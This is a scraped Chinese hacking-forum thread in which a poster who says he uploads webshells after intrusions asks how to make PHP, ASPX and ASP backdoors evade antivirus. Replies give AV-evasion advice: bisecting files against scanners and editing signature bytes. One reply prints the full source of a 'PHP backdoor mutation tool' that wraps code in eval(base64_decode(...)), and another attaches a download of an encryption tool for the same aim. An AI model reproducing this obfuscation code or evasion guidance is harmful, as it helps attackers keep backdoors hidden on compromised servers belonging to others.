[讨论]请问PHP ASPX ASP木马如何更好的免杀(页 1) - 技术交流 - 【3.A.S.T】网络安全爱好者 -- 网络安全，势在必行

richy 发表于 2008-7-20 23:21

[讨论]请问PHP ASPX ASP木马如何更好的免杀

[讨论]请问PHP ASPX ASP木马如何更好的免杀
议题作者：zhuixun2006
信息来源：邪恶八进制信息安全团队（[url=http://www.eviloctal.com/]www.eviloctal.com[/url]）

请问PHP，ASPX，ASP木马如何更好的免杀。
我试过许多工具，对ASP木马加密效果的确很不错。
我指的是海洋，和老兵，对于其他ASP马，我试过一个。加密之后就不能用了，但是可以反汇编。
而PHP，ASPX我实在不知道如何下手，网上也有工具，但是加密之后，就不可以用了。
所以每次入侵之后，想传PHP，ASPX木马，获得更高权限，都被杀毒软件给查杀。
我很是郁闷，手工免杀，实在是不知道如何是好，请高手支招。http://Zhuixun.A.gg 我的BOLG

帖子60 精华[url=http://forum.eviloctal.com/digest.php?authorid=47284]0[/url] 积分116 阅读权限40 性别男在线时间38 小时注册时间2006-5-6 最后登录2006-10-21 [url=http://forum.eviloctal.com/space.php?action=viewpro&uid=47284]查看详细资料[/url][url=http://forum.eviloctal.com/post.php?action=reply&fid=9&tid=24113&repquote=130164&extra=page%3D2&page=1]引用[/url] [url=http://forum.eviloctal.com/misc.php?action=report&fid=9&tid=24113&pid=130164&page=1]报告[/url] [url=http://forum.eviloctal.com/###]回复[/url] TOP [url=http://www.google.cn/search?q=猎头&client=pub-0204114945524753&forid=1&prog=aff&ie=UTF-8&oe=UTF-8&cof=GALT%3A#008000;GL%3A1;DIV%3A336699;VLC%3A663399;AH%3Acenter;BGC%3AFFFFFF;LBGC%3A336699;ALC%3A0000FF;LC%3A0000FF;T%3A000000;GFNT%3A0000FF;GIMP%3A0000FF;FORID%3A1&hl=zh-CN]您知道您年薪应是多少?[/url]

[url=http://forum.eviloctal.com/space-uid-32116.html]ttfct[/url] [img]http://forum.eviloctal.com/customavatars/32116.gif[/img]
荣誉会员
[img]http://forum.eviloctal.com/images/default/star_level2.gif[/img][img]http://forum.eviloctal.com/images/default/star_level1.gif[/img][img]http://forum.eviloctal.com/images/default/star_level1.gif[/img]

pennyhu 发表于 2008-7-20 23:21

如果你懂代码的话,改一改就可以过了TTFCT http://WWW.TTFCT.COM
[url=http://wpa.qq.com/msgrd?V=1&Uin=420079600&Site=邪恶八进制信息安全团队技术讨论组&Menu=yes][img]http://forum.eviloctal.com/images/default/qq.gif[/img][/url]
帖子279 精华[url=http://forum.eviloctal.com/digest.php?authorid=32116]4[/url] 积分4132 阅读权限100 性别男在线时间111 小时注册时间2006-2-13 最后登录2008-7-17 [url=http://forum.eviloctal.com/space.php?action=viewpro&uid=32116]查看详细资料[/url][url=http://forum.eviloctal.com/post.php?action=reply&fid=9&tid=24113&repquote=58547&extra=page%3D2&page=1]引用[/url] [url=http://forum.eviloctal.com/misc.php?action=report&fid=9&tid=24113&pid=58547&page=1]报告[/url] [url=http://forum.eviloctal.com/###]回复[/url] TOP [url=http://www.google.cn/search?q=风水&client=pub-0204114945524753&forid=1&prog=aff&ie=UTF-8&oe=UTF-8&cof=GALT%3A#008000;GL%3A1;DIV%3A336699;VLC%3A663399;AH%3Acenter;BGC%3AFFFFFF;LBGC%3A336699;ALC%3A0000FF;LC%3A0000FF;T%3A000000;GFNT%3A0000FF;GIMP%3A0000FF;FORID%3A1&hl=zh-CN]良辰择日，预测咨询，公司改名，权威易经[/url]

[url=http://forum.eviloctal.com/space-uid-47284.html]zhuixun2006[/url] [img]http://forum.eviloctal.com/images/avatars/pw/smile4.JPG[/img]
晶莹剔透§烈日灼然

鸥飞007 发表于 2008-7-20 23:21

引用:
这里是引用第[1 楼]的zxzgcn于2006-08-11 11:05发表的：
如果你懂代码的话,改一改就可以过了
请举例改哪些代码呢。？http://Zhuixun.A.gg 我的BOLG
帖子60 精华[url=http://forum.eviloctal.com/digest.php?authorid=47284]0[/url] 积分116 阅读权限40 性别男在线时间38 小时注册时间2006-5-6 最后登录2006-10-21 [url=http://forum.eviloctal.com/space.php?action=viewpro&uid=47284]查看详细资料[/url][url=http://forum.eviloctal.com/post.php?action=reply&fid=9&tid=24113&repquote=58548&extra=page%3D2&page=1]引用[/url] [url=http://forum.eviloctal.com/misc.php?action=report&fid=9&tid=24113&pid=58548&page=1]报告[/url] [url=http://forum.eviloctal.com/###]回复[/url] TOP [url=http://www.google.cn/search?q=兼职&client=pub-0204114945524753&forid=1&prog=aff&ie=UTF-8&oe=UTF-8&cof=GALT%3A#008000;GL%3A1;DIV%3A336699;VLC%3A663399;AH%3Acenter;BGC%3AFFFFFF;LBGC%3A336699;ALC%3A0000FF;LC%3A0000FF;T%3A000000;GFNT%3A0000FF;GIMP%3A0000FF;FORID%3A1&hl=zh-CN]赚更多的钱[/url]

[url=http://forum.eviloctal.com/space-uid-32116.html]ttfct[/url] [img]http://forum.eviloctal.com/customavatars/32116.gif[/img]
荣誉会员
[img]http://forum.eviloctal.com/images/default/star_level2.gif[/img][img]http://forum.eviloctal.com/images/default/star_level1.gif[/img][img]http://forum.eviloctal.com/images/default/star_level1.gif[/img]

shirley 发表于 2008-7-20 23:21

用杀软来测试,拆半分析法吧
它要杀哪个,你就改它,很容易过的TTFCT http://WWW.TTFCT.COM
[url=http://wpa.qq.com/msgrd?V=1&Uin=420079600&Site=邪恶八进制信息安全团队技术讨论组&Menu=yes][img]http://forum.eviloctal.com/images/default/qq.gif[/img][/url]
帖子279 精华[url=http://forum.eviloctal.com/digest.php?authorid=32116]4[/url] 积分4132 阅读权限100 性别男在线时间111 小时注册时间2006-2-13 最后登录2008-7-17 [url=http://forum.eviloctal.com/space.php?action=viewpro&uid=32116]查看详细资料[/url][url=http://forum.eviloctal.com/post.php?action=reply&fid=9&tid=24113&repquote=58549&extra=page%3D2&page=1]引用[/url] [url=http://forum.eviloctal.com/misc.php?action=report&fid=9&tid=24113&pid=58549&page=1]报告[/url] [url=http://forum.eviloctal.com/###]回复[/url] TOP

[url=http://forum.eviloctal.com/space-uid-45593.html]神無月[/url] [img]http://forum.eviloctal.com/images/avatars/pw/samba2.gif[/img]
晶莹剔透§烈日灼然

大圣发表于 2008-7-20 23:21

PHP加密的好象有好象记得是冰狐浪子的作品是一个PHP文件来的
我用过他加密可以免杀可是PHP马体积会变大
ASPX 的曾经在网上见过ASP。NET加密工具不知道是真是假。
帖子124 精华[url=http://forum.eviloctal.com/digest.php?authorid=45593]0[/url] 积分313 阅读权限40 性别男在线时间37 小时注册时间2006-4-22 最后登录2008-6-9 [url=http://forum.eviloctal.com/space.php?action=viewpro&uid=45593]查看详细资料[/url][url=http://forum.eviloctal.com/post.php?action=reply&fid=9&tid=24113&repquote=58554&extra=page%3D2&page=1]引用[/url] [url=http://forum.eviloctal.com/misc.php?action=report&fid=9&tid=24113&pid=58554&page=1]报告[/url] [url=http://forum.eviloctal.com/###]回复[/url] TOP [url=http://www.google.cn/search?q=风水&client=pub-0204114945524753&forid=1&prog=aff&ie=UTF-8&oe=UTF-8&cof=GALT%3A#008000;GL%3A1;DIV%3A336699;VLC%3A663399;AH%3Acenter;BGC%3AFFFFFF;LBGC%3A336699;ALC%3A0000FF;LC%3A0000FF;T%3A000000;GFNT%3A0000FF;GIMP%3A0000FF;FORID%3A1&hl=zh-CN]良辰择日，预测咨询，公司改名，权威易经[/url]

[url=http://forum.eviloctal.com/space-uid-46249.html]杀虫剂[/url] [img]http://forum.eviloctal.com/images/avatars/pw/tm2.jpg[/img]
晶莹剔透§烈日灼然

bobby 发表于 2008-7-20 23:21

这问题叫虫虫回答吧。他对加解密有研究。 [s:71] 或者叫他写个工具 [s:67] [s:70]黎叔很生气
[url=http://wpa.qq.com/msgrd?V=1&Uin=395697379&Site=邪恶八进制信息安全团队技术讨论组&Menu=yes][img]http://forum.eviloctal.com/images/default/qq.gif[/img][/url]
帖子70 精华[url=http://forum.eviloctal.com/digest.php?authorid=46249]0[/url] 积分161 阅读权限40 性别男在线时间84 小时注册时间2006-4-27 最后登录2008-7-18 [url=http://forum.eviloctal.com/space.php?action=viewpro&uid=46249]查看详细资料[/url][url=http://forum.eviloctal.com/post.php?action=reply&fid=9&tid=24113&repquote=58556&extra=page%3D2&page=1]引用[/url] [url=http://forum.eviloctal.com/misc.php?action=report&fid=9&tid=24113&pid=58556&page=1]报告[/url] [url=http://forum.eviloctal.com/###]回复[/url] TOP [url=http://www.google.cn/search?q=DHC化妆品&client=pub-0204114945524753&forid=1&prog=aff&ie=UTF-8&oe=UTF-8&cof=GALT%3A#008000;GL%3A1;DIV%3A336699;VLC%3A663399;AH%3Acenter;BGC%3AFFFFFF;LBGC%3A336699;ALC%3A0000FF;LC%3A0000FF;T%3A000000;GFNT%3A0000FF;GIMP%3A0000FF;FORID%3A1&hl=zh-CN]让女孩一夜变的更有女人味[/url]

[url=http://forum.eviloctal.com/space-uid-47284.html]zhuixun2006[/url] [img]http://forum.eviloctal.com/images/avatars/pw/smile4.JPG[/img]
晶莹剔透§烈日灼然

BG7LHT 发表于 2008-7-20 23:21

请问楼上说的冰狐的工具是不是这个？
我没试过这个，，这个也可以加密PHP吗？
附件
[img]http://forum.eviloctal.com/images/attachicons/image.gif[/img][url=http://forum.eviloctal.com/attachment.php?aid=720&nothumb=yes]{DEA8E67E-2362-4A19-947D-CB8BEC8A7C31}0.jpg[/url] (37 KB)
2006-8-11 13:40
[img]http://forum.eviloctal.com/attachments/Mon_0608/9_47284_13aa41a5cd93358.jpg[/img]http://Zhuixun.A.gg 我的BOLG
帖子60 精华[url=http://forum.eviloctal.com/digest.php?authorid=47284]0[/url] 积分116 阅读权限40 性别男在线时间38 小时注册时间2006-5-6 最后登录2006-10-21 [url=http://forum.eviloctal.com/space.php?action=viewpro&uid=47284]查看详细资料[/url][url=http://forum.eviloctal.com/post.php?action=reply&fid=9&tid=24113&repquote=58558&extra=page%3D2&page=1]引用[/url] [url=http://forum.eviloctal.com/misc.php?action=report&fid=9&tid=24113&pid=58558&page=1]报告[/url] [url=http://forum.eviloctal.com/###]回复[/url] TOP [url=http://www.google.cn/search?q=DHC化妆品&client=pub-0204114945524753&forid=1&prog=aff&ie=UTF-8&oe=UTF-8&cof=GALT%3A#008000;GL%3A1;DIV%3A336699;VLC%3A663399;AH%3Acenter;BGC%3AFFFFFF;LBGC%3A336699;ALC%3A0000FF;LC%3A0000FF;T%3A000000;GFNT%3A0000FF;GIMP%3A0000FF;FORID%3A1&hl=zh-CN]让女孩一夜变的更有女人味[/url]

[url=http://forum.eviloctal.com/space-uid-45593.html]神無月[/url] [img]http://forum.eviloctal.com/images/avatars/pw/samba2.gif[/img]
晶莹剔透§烈日灼然

ocarlee 发表于 2008-7-20 23:21

JSCRIPT 应该不可以的吧  ? 我说的那个PHP加密是变形加密的. 那个东东是火狐的记错了呵呵
<?php
/*
=1=1=1=1=1=1=1=1=1=1=1=1=1=1=1=1=1=1=1=1=1=1=1=1=1=1=1=1=1=1=1=1=1=1=1=1=1=1=
+                our team [F.S.T]                      +
+       website : [url=http://www.wrsky.com]http://www.wrsky.com[/url]                   +
+    the tool change the code of php base64ed!!             +
=1=1=1=1=1=1=1=1=1=1=1=1=1=1=1=1=1=1=1=1=1=1=1=1=1=1=1=1=1=1=1=1=1=1=1=1=1=1=
*/
?>
<HTML><HEAD><TITLE>火狐php后门变形工具</TITLE>
<META http-equiv=Content-Type content="text/html; charset=gb2312">
<STYLE type=text/css>A {
  COLOR: #000000; TEXT-DECORATION: none
}
A:hover {
  TEXT-DECORATION: underline
}
BODY {
  FONT-SIZE: 12px; SCROLLBAR-ARROW-COLOR: #cc0000; SCROLLBAR-BASE-COLOR: #f8f8f8; BACKGROUND-COLOR: #999999
}
TABLE {
  FONT-SIZE: 12px; COLOR: #000000; FONT-FAMILY: Tahoma, Verdana
}
TEXTAREA {
  FONT-WEIGHT: normal; FONT-SIZE: 12px; COLOR: #000000; FONT-FAMILY: Tahoma, Verdana; BACKGROUND-COLOR: #f8f8f8
}
INPUT {
  FONT-WEIGHT: normal; FONT-SIZE: 12px; COLOR: #000000; FONT-FAMILY: Tahoma, Verdana; BACKGROUND-COLOR: #f8f8f8
}
OBJECT {
  FONT-WEIGHT: normal; FONT-SIZE: 12px; COLOR: #000000; FONT-FAMILY: Tahoma, Verdana; BACKGROUND-COLOR: #f8f8f8
}
SELECT {
  FONT-WEIGHT: normal; FONT-SIZE: 11px; COLOR: #000000; FONT-FAMILY: Tahoma, Verdana; BACKGROUND-COLOR: #f8f8f8
}
.nav {
  FONT-WEIGHT: bold; FONT-SIZE: 12px; FONT-FAMILY: Tahoma, Verdana
}
.header {
  FONT-WEIGHT: bold; FONT-SIZE: 11px; COLOR: #ffffff; FONT-FAMILY: Tahoma, Verdana; BACKGROUND-COLOR: #cc0000
}
.header A {
  COLOR: #ffffff; TEXT-DECORATION: none
}
.category {
  FONT-SIZE: 11px; COLOR: #000000; FONT-FAMILY: Tahoma, Verdana; BACKGROUND-COLOR: #efefef
}
.tableborder {
  BORDER-RIGHT: #cc0000 1px solid; BORDER-TOP: #cc0000 1px solid; BACKGROUND: #d6e0ef; BORDER-LEFT: #cc0000 1px solid; BORDER-BOTTOM: #cc0000 1px solid
}
.singleborder {
  PADDING-RIGHT: 0px; PADDING-LEFT: 0px; FONT-SIZE: 0px; PADDING-BOTTOM: 0px; LINE-HEIGHT: 1px; PADDING-TOP: 0px; BACKGROUND-COLOR: #f8f8f8
}
.smalltxt {
  FONT-SIZE: 11px; FONT-FAMILY: Tahoma, Verdana
}
.mediumtxt {
  FONT-SIZE: 12px; COLOR: #000000; FONT-FAMILY: Tahoma, Verdana
}
.bold {
  FONT-WEIGHT: bold
}
.multi {
  FONT-SIZE: 11px; COLOR: #000000; FONT-FAMILY: Tahoma, Verdana
}
.navtd {
  FONT-SIZE: 12px; COLOR: #ffffff; FONT-FAMILY: Tahoma, Verdana; TEXT-DECORATION: none
}
.tableborder {
  BORDER-RIGHT: #cc0000 1px solid; BORDER-TOP: #cc0000 1px solid; BACKGROUND: #d6e0ef; BORDER-LEFT: #cc0000 1px solid; BORDER-BOTTOM: #cc0000 1px solid
}
</STYLE>

<META content="MSHTML 6.00.2800.1476" name=GENERATOR></HEAD>
<BODY bgColor=#999999>
<CENTER>
<DIV align=center>
<FORM name=FORM action="" method=post
encType=multipart/form-data>
<TABLE cellSpacing=1 cellPadding=0 width="40%" bgColor=#cc3300 border=0>
  <TBODY>
  <TR>
<TD colSpan=2 height=30>
<DIV align=center><STRONG><FONT
color=#ffffff>火狐php后门变形工具</FONT></STRONG></DIV></TD></TR>
  <TR bgColor=#cccccc>
<TD vAlign=top height=120><TEXTAREA name=code rows=16 cols=90>
<?php
if (get_magic_quotes_gpc()) {
$_GET = stripslashes_array($_GET);
  $_POST = stripslashes_array($_POST);
}
  // 去掉转义字符
  function stripslashes_array(&$array) {
while(list($key,$var) = each($array)) {
   if ($key != 'argc' && $key != 'argv' && (strtoupper($key) != $key || ''.intval($key) == "$key")) {
      if (is_string($var)) {
      $array[$key] = stripslashes($var);
      }
      if (is_array($var))  {
      $array[$key] = stripslashes_array($var);
      }
   }
}
return $array;
  }

if (empty($_POST['code'])) {
echo"/*\n";
echo "请写入你要转换的代码，去掉程序的开头的<?php和结尾的?&gt！";
echo"\n";
echo "另外提交后请耐心等待，不要重复提交或刷新，会出错的，^_^";
echo"下面给个示范\n*/\n";
echo'phpinfo();';
}else{
echo"<?php";
echo" eval(base64_decode('";
echo base64_encode($_POST['code']);
echo"'));?>";
}
?>
</TEXTAREA>
  <TR align=middle bgColor=#cccccc>
<TD colSpan=2 height=32><INPUT type=submit value=开始罪恶的变形></TD></TR>
  <TR align=middle>
<TD colSpan=2 height=32>Copyright(c)<STRONG><FONT color=#ffffff> <A
href="[url=http://www.wrsky.com/]http://www.wrsky.com/[/url]" target=_blank>火狐原创</A></FONT></STRONG>
Power By <STRONG><FONT color=#ffffff>Saiy
  </FONT></STRONG></TD></TR></TBODY></TABLE></FORM></DIV></CENTER></BODY></HTML>

找个支持PHP的空间传上去再加密.. 效果不错.
帖子124 精华[url=http://forum.eviloctal.com/digest.php?authorid=45593]0[/url] 积分313 阅读权限40 性别男在线时间37 小时注册时间2006-4-22 最后登录2008-6-9 [url=http://forum.eviloctal.com/space.php?action=viewpro&uid=45593]查看详细资料[/url][url=http://forum.eviloctal.com/post.php?action=reply&fid=9&tid=24113&repquote=58613&extra=page%3D2&page=1]引用[/url] [url=http://forum.eviloctal.com/misc.php?action=report&fid=9&tid=24113&pid=58613&page=1]报告[/url] [url=http://forum.eviloctal.com/###]回复[/url] TOP

[url=http://forum.eviloctal.com/space-uid-4349.html]zmdjf[/url] [img]http://forum.eviloctal.com/images/avatars/noavatar.gif[/img]
晶莹剔透§烈日灼然

xiezeshen66 发表于 2008-7-20 23:21

大小写互换只对nav有效吧。。咖啡照样杀。
帖子7 精华[url=http://forum.eviloctal.com/digest.php?authorid=4349]0[/url] 积分24 阅读权限40 在线时间6 小时注册时间2005-5-7 最后登录2006-8-11 [url=http://forum.eviloctal.com/space.php?action=viewpro&uid=4349]查看详细资料[/url][url=http://forum.eviloctal.com/post.php?action=reply&fid=9&tid=24113&repquote=58621&extra=page%3D2&page=1]引用[/url] [url=http://forum.eviloctal.com/misc.php?action=report&fid=9&tid=24113&pid=58621&page=1]报告[/url] [url=http://forum.eviloctal.com/###]回复[/url] TOP

[url=http://forum.eviloctal.com/space-uid-60773.html]icexiaoye[/url] [img]http://forum.eviloctal.com/customavatars/60773.jpg[/img]
荣誉会员
[img]http://forum.eviloctal.com/images/default/star_level2.gif[/img][img]http://forum.eviloctal.com/images/default/star_level1.gif[/img][img]http://forum.eviloctal.com/images/default/star_level1.gif[/img]

gaofeng 发表于 2008-7-20 23:21

[s:75] 打个广告~
用我做的网马生成器生成的猪3和记忆的ASP木马能过
呵呵，开个玩笑拉
其实无论是脚本马还是EXE木马，想要真正免杀，对语言一定要掌握，掌握到及至，就是自己写，这样什么杀毒软件都拿你没办法
要是达不到这水平，比如对EXE木马改特征码的话，想弄好，一定要对汇编有一定了解，毕竟有些地方胡改是不行的
同例，要改ASP，ASPX马，最好也要对ASP，ASP。NET有一定了解
在特征码处改成自己的语言又不影响程序运行

汗~~说了半天感觉没帮上你~~~ [s:58]玩世不恭彼此 ⌒ ˇ互相鼓励信任認眞體驗每⒈兲.!﹏演藝⒉.個亾啲莞鎂傳奇( [淇]儭滗.
[url=http://wpa.qq.com/msgrd?V=1&Uin=119419178&Site=邪恶八进制信息安全团队技术讨论组&Menu=yes][img]http://forum.eviloctal.com/images/default/qq.gif[/img][/url]
帖子728 精华[url=http://forum.eviloctal.com/digest.php?authorid=60773]4[/url] 积分5182 阅读权限100 性别男在线时间255 小时注册时间2006-8-7 最后登录2008-7-14 [url=http://icexiaoye.ch]查看个人网站[/url]
[url=http://forum.eviloctal.com/space.php?action=viewpro&uid=60773]查看详细资料[/url][url=http://forum.eviloctal.com/post.php?action=reply&fid=9&tid=24113&repquote=58651&extra=page%3D2&page=1]引用[/url] [url=http://forum.eviloctal.com/misc.php?action=report&fid=9&tid=24113&pid=58651&page=1]报告[/url] [url=http://forum.eviloctal.com/###]回复[/url] TOP

[url=http://forum.eviloctal.com/space-uid-32116.html]ttfct[/url] [img]http://forum.eviloctal.com/customavatars/32116.gif[/img]
荣誉会员
[img]http://forum.eviloctal.com/images/default/star_level2.gif[/img][img]http://forum.eviloctal.com/images/default/star_level1.gif[/img][img]http://forum.eviloctal.com/images/default/star_level1.gif[/img]

超越改 发表于 2008-7-20 23:21

哎,火狐php后门变形工具===>base64_decode函数加密TTFCT http://WWW.TTFCT.COM
[url=http://wpa.qq.com/msgrd?V=1&Uin=420079600&Site=邪恶八进制信息安全团队技术讨论组&Menu=yes][img]http://forum.eviloctal.com/images/default/qq.gif[/img][/url]
帖子279 精华[url=http://forum.eviloctal.com/digest.php?authorid=32116]4[/url] 积分4132 阅读权限100 性别男在线时间111 小时注册时间2006-2-13 最后登录2008-7-17 [url=http://forum.eviloctal.com/space.php?action=viewpro&uid=32116]查看详细资料[/url][url=http://forum.eviloctal.com/post.php?action=reply&fid=9&tid=24113&repquote=58733&extra=page%3D2&page=1]引用[/url] [url=http://forum.eviloctal.com/misc.php?action=report&fid=9&tid=24113&pid=58733&page=1]报告[/url] [url=http://forum.eviloctal.com/###]回复[/url] TOP

[url=http://forum.eviloctal.com/space-uid-947.html]fhod[/url] [img]http://forum.eviloctal.com/customavatars/947.jpg[/img]
运维管理组
[img]http://forum.eviloctal.com/images/default/star_level2.gif[/img][img]http://forum.eviloctal.com/images/default/star_level1.gif[/img][img]http://forum.eviloctal.com/images/default/star_level1.gif[/img][img]http://forum.eviloctal.com/images/default/star_level1.gif[/img]

fjx16888 发表于 2008-7-20 23:21

貌似偶这里有一个很牛的加密工具
现在在公司
等回家了传上来份..有的人或许用过或见过.
[url=http://forum.eviloctal.com/javascript:;][img]http://forum.eviloctal.com/images/default/msnadd.gif[/img][/url] [url=http://forum.eviloctal.com/javascript:;][img]http://forum.eviloctal.com/images/default/msnchat.gif[/img][/url]
帖子899 精华[url=http://forum.eviloctal.com/digest.php?authorid=947]16[/url] 积分6857 阅读权限150 性别男在线时间534 小时注册时间2004-12-6 最后登录2008-7-18 [url=http://www.ciker.org/]查看个人网站[/url]
[url=http://forum.eviloctal.com/space.php?action=viewpro&uid=947]查看详细资料[/url][url=http://forum.eviloctal.com/post.php?action=reply&fid=9&tid=24113&repquote=58903&extra=page%3D2&page=1]引用[/url] [url=http://forum.eviloctal.com/misc.php?action=report&fid=9&tid=24113&pid=58903&page=1]报告[/url] [url=http://forum.eviloctal.com/###]回复[/url] TOP

[url=http://forum.eviloctal.com/space-uid-32116.html]ttfct[/url] [img]http://forum.eviloctal.com/customavatars/32116.gif[/img]
荣誉会员
[img]http://forum.eviloctal.com/images/default/star_level2.gif[/img][img]http://forum.eviloctal.com/images/default/star_level1.gif[/img][img]http://forum.eviloctal.com/images/default/star_level1.gif[/img]

houyongwang_5 发表于 2008-7-20 23:21

楼上的,工作了? 你88年的啊TTFCT http://WWW.TTFCT.COM
[url=http://wpa.qq.com/msgrd?V=1&Uin=420079600&Site=邪恶八进制信息安全团队技术讨论组&Menu=yes][img]http://forum.eviloctal.com/images/default/qq.gif[/img][/url]
帖子279 精华[url=http://forum.eviloctal.com/digest.php?authorid=32116]4[/url] 积分4132 阅读权限100 性别男在线时间111 小时注册时间2006-2-13 最后登录2008-7-17 [url=http://forum.eviloctal.com/space.php?action=viewpro&uid=32116]查看详细资料[/url][url=http://forum.eviloctal.com/post.php?action=reply&fid=9&tid=24113&repquote=58921&extra=page%3D2&page=1]引用[/url] [url=http://forum.eviloctal.com/misc.php?action=report&fid=9&tid=24113&pid=58921&page=1]报告[/url] [url=http://forum.eviloctal.com/###]回复[/url] TOP

[url=http://forum.eviloctal.com/space-uid-47284.html]zhuixun2006[/url] [img]http://forum.eviloctal.com/images/avatars/pw/smile4.JPG[/img]
晶莹剔透§烈日灼然

小鱼儿 发表于 2008-7-20 23:21

引用:
这里是引用第[12 楼]的fhod于2006-08-13 13:38发表的：
貌似偶这里有一个很牛的加密工具
现在在公司
等回家了传上来份..有的人或许用过或见过.
羡慕你们都工作了啊,我都还在读高一..苦苦啊...

希望早点把工具发出来哦...谢谢了.http://Zhuixun.A.gg 我的BOLG
帖子60 精华[url=http://forum.eviloctal.com/digest.php?authorid=47284]0[/url] 积分116 阅读权限40 性别男在线时间38 小时注册时间2006-5-6 最后登录2006-10-21 [url=http://forum.eviloctal.com/space.php?action=viewpro&uid=47284]查看详细资料[/url][url=http://forum.eviloctal.com/post.php?action=reply&fid=9&tid=24113&repquote=58940&extra=page%3D2&page=1]引用[/url] [url=http://forum.eviloctal.com/misc.php?action=report&fid=9&tid=24113&pid=58940&page=1]报告[/url] [url=http://forum.eviloctal.com/###]回复[/url] TOP

[url=http://forum.eviloctal.com/space-uid-947.html]fhod[/url] [img]http://forum.eviloctal.com/customavatars/947.jpg[/img]
运维管理组
[img]http://forum.eviloctal.com/images/default/star_level2.gif[/img][img]http://forum.eviloctal.com/images/default/star_level1.gif[/img][img]http://forum.eviloctal.com/images/default/star_level1.gif[/img][img]http://forum.eviloctal.com/images/default/star_level1.gif[/img]

sxp 发表于 2008-7-20 23:21

引用:
这里是引用第[13 楼]的zxzgcn于2006-08-13 15:30发表的：
楼上的,工作了? 你88年的啊
刚应聘上的..一家大商场的系统管理员..

刚到家..把工具上传下....有需要的人来down
附件
[img]http://forum.eviloctal.com/images/attachicons/rar.gif[/img][url=http://forum.eviloctal.com/attachment.php?aid=7431]051231jiami.rar[/url] (18 KB)
2006-8-13 23:00, 下载次数: 569
加密工具
[url=http://forum.eviloctal.com/javascript:;][img]http://forum.eviloctal.com/images/default/msnadd.gif[/img][/url] [url=http://forum.eviloctal.com/javascript:;][img]http://forum.eviloctal.com/images/default/msnchat.gif[/img][/url]
帖子899 精华[url=http://forum.eviloctal.com/digest.php?authorid=947]16[/url] 积分6857 阅读权限150 性别男在线时间534 小时注册时间2004-12-6 最后登录2008-7-18 [url=http://www.ciker.org/]查看个人网站[/url]
[url=http://forum.eviloctal.com/space.php?action=viewpro&uid=947]查看详细资料[/url][url=http://forum.eviloctal.com/post.php?action=reply&fid=9&tid=24113&repquote=58984&extra=page%3D2&page=1]引用[/url] [url=http://forum.eviloctal.com/misc.php?action=report&fid=9&tid=24113&pid=58984&page=1]报告[/url] [url=http://forum.eviloctal.com/###]回复[/url] TOP

[url=http://forum.eviloctal.com/space-uid-16462.html]juey[/url] [img]http://forum.eviloctal.com/customavatars/16462.jpg[/img]
荣誉会员
[img]http://forum.eviloctal.com/images/default/star_level2.gif[/img][img]http://forum.eviloctal.com/images/default/star_level1.gif[/img][img]http://forum.eviloctal.com/images/default/star_level1.gif[/img]

东视人 发表于 2008-7-20 23:21

楼上的哥哥，那工具不能用，出错
晕
图传不上来努力就有回报别和我说技术............因为我不懂什么叫技术....
帖子305 精华[url=http://forum.eviloctal.com/digest.php?authorid=16462]4[/url] 积分3762 阅读权限100 在线时间446 小时注册时间2005-10-28 最后登录2008-5-17 [url=http://forum.eviloctal.com/space.php?action=viewpro&uid=16462]查看详细资料[/url][url=http://forum.eviloctal.com/post.php?action=reply&fid=9&tid=24113&repquote=58997&extra=page%3D2&page=1]引用[/url] [url=http://forum.eviloctal.com/misc.php?action=report&fid=9&tid=24113&pid=58997&page=1]报告[/url] [url=http://forum.eviloctal.com/###]回复[/url] TOP

[url=http://forum.eviloctal.com/space-uid-947.html]fhod[/url] [img]http://forum.eviloctal.com/customavatars/947.jpg[/img]
运维管理组
[img]http://forum.eviloctal.com/images/default/star_level2.gif[/img][img]http://forum.eviloctal.com/images/default/star_level1.gif[/img][img]http://forum.eviloctal.com/images/default/star_level1.gif[/img][img]http://forum.eviloctal.com/images/default/star_level1.gif[/img]

盈盈发表于 2008-7-20 23:21

程序是VB写的
需要运行库
去下把.
[url=http://forum.eviloctal.com/javascript:;][img]http://forum.eviloctal.com/images/default/msnadd.gif[/img][/url] [url=http://forum.eviloctal.com/javascript:;][img]http://forum.eviloctal.com/images/default/msnchat.gif[/img][/url]
帖子899 精华[url=http://forum.eviloctal.com/digest.php?authorid=947]16[/url] 积分6857 阅读权限150 性别男在线时间534 小时注册时间2004-12-6 最后登录2008-7-18 [url=http://www.ciker.org/]查看个人网站[/url]
[url=http://forum.eviloctal.com/space.php?action=viewpro&uid=947]查看详细资料[/url][url=http://forum.eviloctal.com/post.php?action=reply&fid=9&tid=24113&repquote=59042&extra=page%3D2&page=1]引用[/url] [url=http://forum.eviloctal.com/misc.php?action=report&fid=9&tid=24113&pid=59042&page=1]报告[/url] [url=http://forum.eviloctal.com/###]回复[/url] TOP

[url=http://forum.eviloctal.com/space-uid-47284.html]zhuixun2006[/url] [img]http://forum.eviloctal.com/images/avatars/pw/smile4.JPG[/img]
晶莹剔透§烈日灼然

shirley 发表于 2008-7-20 23:21

额。。。。这个工具不就是火狐的黑客伟写的吗？他也能加密PHP吗？http://Zhuixun.A.gg 我的BOLG
帖子60 精华[url=http://forum.eviloctal.com/digest.php?authorid=47284]0[/url] 积分116 阅读权限40 性别男在线时间38 小时注册时间2006-5-6 最后登录2006-10-21 [url=http://forum.eviloctal.com/space.php?action=viewpro&uid=47284]查看详细资料[/url][url=http://forum.eviloctal.com/post.php?action=reply&fid=9&tid=24113&repquote=59085&extra=page%3D2&page=1]引用[/url] [url=http://forum.eviloctal.com/misc.php?action=report&fid=9&tid=24113&pid=59085&page=1]报告[/url] [url=http://forum.eviloctal.com/###]回复[/url] TOP

[url=http://forum.eviloctal.com/space-uid-8885.html]xiaocool[/url] [img]http://forum.eviloctal.com/images/avatars/noavatar.gif[/img]
晶莹剔透§烈日灼然

SUNNY仔 发表于 2008-7-20 23:21

引用:
这里是引用第[3 楼]的zxzgcn于2006-08-11 11:15发表的：
用杀软来测试,拆半分析法吧
它要杀哪个,你就改它,很容易过的
象海洋的，他就杀开始那段的ID数字，这怎么改？
帖子162 精华[url=http://forum.eviloctal.com/digest.php?authorid=8885]2[/url] 积分431 阅读权限40 在线时间75 小时注册时间2005-8-4 最后登录2008-6-9 [url=http://forum.eviloctal.com/space.php?action=viewpro&uid=8885]查看详细资料[/url][url=http://forum.eviloctal.com/post.php?action=reply&fid=9&tid=24113&repquote=59744&extra=page%3D2&page=1]引用[/url] [url=http://forum.eviloctal.com/misc.php?action=report&fid=9&tid=24113&pid=59744&page=1]报告[/url] [url=http://forum.eviloctal.com/###]回复[/url] TOP

[url=http://forum.eviloctal.com/space-uid-54145.html]tale007[/url] [img]http://forum.eviloctal.com/images/avatars/noavatar.gif[/img]
